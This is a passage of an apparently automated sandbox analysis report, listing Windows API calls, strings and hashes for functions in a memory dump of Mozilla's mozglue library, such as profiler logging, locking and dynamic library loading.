Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C617693
Part of subcall function 6C617670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6185B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6176A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6185B2

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction ID: 737218160b7d423da58f8143ff0f9a2f3b30ef60a11bf7ece1a09c163b6a3710
Opcode Fuzzy Hash: 05925a0a2b44a7a72c5324338e5ef8f315da4f39ba0b73a377da281413da36ce
Instruction Fuzzy Hash: AA219F742046019FDB14DF29C888A6AB7B5EF8830DF25482DE55B83B51DB31F948CB59

Function 6C5E1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5E1699
VerSetConditionMask.NTDLL ref: 6C5E16CB
VerSetConditionMask.NTDLL ref: 6C5E16D7
VerSetConditionMask.NTDLL ref: 6C5E16DE
VerSetConditionMask.NTDLL ref: 6C5E16E5
VerSetConditionMask.NTDLL ref: 6C5E16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5E16F9

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction ID: af939b88a34692d58bd748ea896bf9a25665b00e23c2f9321e85b4e0a27894f7
Opcode Fuzzy Hash: 2e6587165c126d1282ba19e7f97d374db92699eb14890d3bdd02e861d4d3bac1
Instruction Fuzzy Hash: 3E2102B07402086FEB10AB658C85FBBB3BCEFCA704F508528F6059B680C6799D548AA5

Function 6C61F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction ID: 48961d4249ed467fab7fec41923b139f2d1d617ddb26f1ed40591ff4f534c0f9
Opcode Fuzzy Hash: 81668e69fff896bd8ec90d8e1c8c532579bd5ea0b36b72eec591fab869533bcd
Instruction Fuzzy Hash: 09119475305205ABCB04EF5AD5849A57779FF8636DFA40015EA0583F42CB71A821CBAE

Function 6C6376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C637705

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C637717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C63778F,00000000,00000000,00000000,00000000), ref: 6C637731
free.MOZGLUE(00000000), ref: 6C637760

Strings

}>al, xrefs: 6C6376C4

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>al
API String ID: 2538299546-2919635026
Opcode ID: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction ID: 12d048eba9ed0a31123fab2fdc843d28214a5629f637f78c0658985a908a81e7
Opcode Fuzzy Hash: 47d92276cb6b907281c839e2faa26fc779f7c386910dc150396f205652c2380f
Instruction Fuzzy Hash: 1811B6B1904325ABE710AF769D44BAB7EF8EF85354F145429F88897300E771984487E6

Function 6C5E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C60AB89: EnterCriticalSection.KERNEL32(6C65E370,?,?,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284), ref: 6C60AB94
Part of subcall function 6C60AB89: LeaveCriticalSection.KERNEL32(6C65E370,?,6C5D34DE,6C65F6CC,?,?,?,?,?,?,?,6C5D3284,?,?,6C5F56F6), ref: 6C60ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C60D9F0,00000000), ref: 6C5E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5E0F3C
__Init_thread_footer.LIBCMT ref: 6C5E0F50
FreeLibrary.KERNEL32(?,6C60D9F0,00000000), ref: 6C5E0F86

Strings

CoInitializeEx, xrefs: 6C5E0F36
combase.dll, xrefs: 6C5E0F18

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction ID: de2a9d3b34ae51405991d5045355cab596a8319fc408667cd103403eb44ae45d
Opcode Fuzzy Hash: 607ae5ffccf692160ee9afa1a89dd00b5c1750161b227b04f1cc06efac313929
Instruction Fuzzy Hash: CF110E313052409BDF00CF6ACD88E5637B4FB9B322FA4422AE91693740DB32A411CA6F

Function 6C61F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F561

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F585
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C61F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C61F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C61F499
[I %d/%d] profiler_resume, xrefs: 6C61F239

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction ID: 97905f64da325c01969e40aaf5b70669f32092f2360457fcf2c8cf8979fe635b
Opcode Fuzzy Hash: 3555eddccfdba5cba58036ba0662295be5a3bf124db81d656da9429086dc86c2
Instruction Fuzzy Hash: CDF0B4753002009BDB00EF6AD88896A77BDEFC629EFA40411EA05C3B02CB314801876E

Function 6C5E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5E0DF8), ref: 6C5E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5E0EA1
__Init_thread_footer.LIBCMT ref: 6C5E0EB5
FreeLibrary.KERNEL32 ref: 6C5E0EC5

Strings

kernel32.dll, xrefs: 6C5E0E7D
GetProcessMitigationPolicy, xrefs: 6C5E0E9B

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction ID: 28d535ed19dedb1e3d77c7a8723af34c3718bd1020ebb6a41d4ff3200f381c5f
Opcode Fuzzy Hash: b6c64fc54756127426cf8d7d13c3dbdb27662ff7d37c8bcbacad52a0e46468a8
Instruction Fuzzy Hash: D6012470B00281CFDF10DFEAE994A6237B6E78A358FB00526A90192B40DB74A4199E1E

Function 6C61F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5E4A68), ref: 6C61945E
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C619470
Part of subcall function 6C619420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C619482
Part of subcall function 6C619420: __Init_thread_footer.LIBCMT ref: 6C61949F

GetCurrentThreadId.KERNEL32 ref: 6C61F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C61F598), ref: 6C61F621

Part of subcall function 6C6194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6194EE
Part of subcall function 6C6194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C619508

GetCurrentThreadId.KERNEL32 ref: 6C61F637
AcquireSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F645
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8,?,?,00000000,?,6C61F598), ref: 6C61F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C61F62A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction ID: e9c3139e3397db96b04a70193834cb6f71ab6b7f953169b8750f6e3d7e7367e7
Opcode Fuzzy Hash: 96b2eb0e6944472878cc3ccb8998f5b71c573a6a4ddaf61b3cb037ee33f35c1c
Instruction Fuzzy Hash: C9F05B75304204ABDB009F6AD88896A777DEFC629DFA40415EA4593742CB754805876E

Function 6C6105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C60CFAE,?,?,?,6C5D31A7), ref: 6C6105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C60CFAE,?,?,?,6C5D31A7), ref: 6C610616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5D31A7), ref: 6C61061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5D31A7), ref: 6C610627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C61061B, 6C610625
<jemalloc>, xrefs: 6C6105FA, 6C61060F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction ID: d66d522407a2ebb6d6c80db0d5612696a493e0f9069b8c498a99fab5cd0415b8
Opcode Fuzzy Hash: 88fa90612e95f2b579c9fe2d2192ac2b9b44ad7233cde9d5503e6c94fd25d721
Instruction Fuzzy Hash: D1E08CE2A0101037F6146256AC86DBB761DDBC6138F084039FE0E83701E94AAD1E51FA

Function 6C5E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction ID: ed9e6a698bd1da4e4f3a66b31c1c6b30059c5f57f66f84441de033bf4d90d32c
Opcode Fuzzy Hash: 0ed82d46266d3903c96cad65653aaa697a1e5760911ee9a286e522616d94fd37
Instruction Fuzzy Hash: 88A159B0A00605CFDB14CF29C984B9AFBF1BF89304F54866ED44AA7B00EB31A955CF94

Function 6C6314A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6314C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6314E2
GetCurrentThreadId.KERNEL32 ref: 6C631546
InitializeConditionVariable.KERNEL32(?), ref: 6C6315BA
free.MOZGLUE(?), ref: 6C6316B4

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction ID: d3a8588ea1769b3b2b8d3cd5748750c0818ddec98c81ad5dc63db1717b30db71
Opcode Fuzzy Hash: 1a088863b516077379ffacf8829b664c9d39132139b73c5af2b7d88e679c5b67
Instruction Fuzzy Hash: FD61F171A007109BDB11CF25C880BDEB7B1BF8A318F44A51CED8A57701DB35E949CB99

Function 6C62DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C62DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C62D38A,?), ref: 6C62DC6F
free.MOZGLUE(?,?,?,?,?,6C62D38A,?), ref: 6C62DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C62D38A,?), ref: 6C62DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C62D38A,?), ref: 6C62DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C62D38A,?), ref: 6C62DD4A

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction ID: e16347947b816e5f670005d670e10611554a768339b2a8b7871f003463f447a3
Opcode Fuzzy Hash: d28f11006c0814a4f7722d1018142fd94d48efe222dbb3e5f9acd28aa3afaa18
Instruction Fuzzy Hash: 8A417AB5A00605CFCB04CF99C880A9ABBF6FF89314B654569DA46ABB10D735FC01CF94

Function 6C60F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C60F480

Part of subcall function 6C5DF100: LoadLibraryW.KERNEL32(shell32,?,6C64D020), ref: 6C5DF122
Part of subcall function 6C5DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5DF132

CloseHandle.KERNEL32(00000000), ref: 6C60F555

Part of subcall function 6C5E14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E1248,6C5E1248,?), ref: 6C5E14C9
Part of subcall function 6C5E14B0: memcpy.VCRUNTIME140(?,6C5E1248,00000000,?,6C5E1248,?), ref: 6C5E14EF

Part of subcall function 6C5DEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5DEEE3

CreateFileW.KERNEL32 ref: 6C60F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C60F523

Strings

\oleacc.dll, xrefs: 6C60F4CB

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction ID: 384c15f8780953aedf03170b964e14deab5fa83b08a9843a1f072363323bf9e8
Opcode Fuzzy Hash: 729a28a217b96509a232a936e05a4416240e1e8f8fee55bc0b86562b7ff41e59
Instruction Fuzzy Hash: 6F41CF707087109FE726DF29C984A9BB3F4EF94318F604A1CF59193650EB30E949CB9A

Function 6C6374A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C637526
__Init_thread_footer.LIBCMT ref: 6C637566
__Init_thread_footer.LIBCMT ref: 6C637597

Strings

kernel32.dll, xrefs: 6C637557
UnmapViewOfFile2, xrefs: 6C637552

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction ID: f2b301edadec729e0d011248f791e67ef0853d4af03da62c7ee9699a809cd589
Opcode Fuzzy Hash: 1ea36c8de006dba4e7eb0e9e06140bd852ba366235e53109642a40f924598a41
Instruction Fuzzy Hash: 7F212831B00511EFCB18CFAA9E94E993375EF87375F642128D40957F80CB21B81189AF

Function 6C63C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C63C0E9), ref: 6C63C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C63C437
FreeLibrary.KERNEL32(?,6C63C0E9), ref: 6C63C44C

Strings

NtQueryVirtualMemory, xrefs: 6C63C431
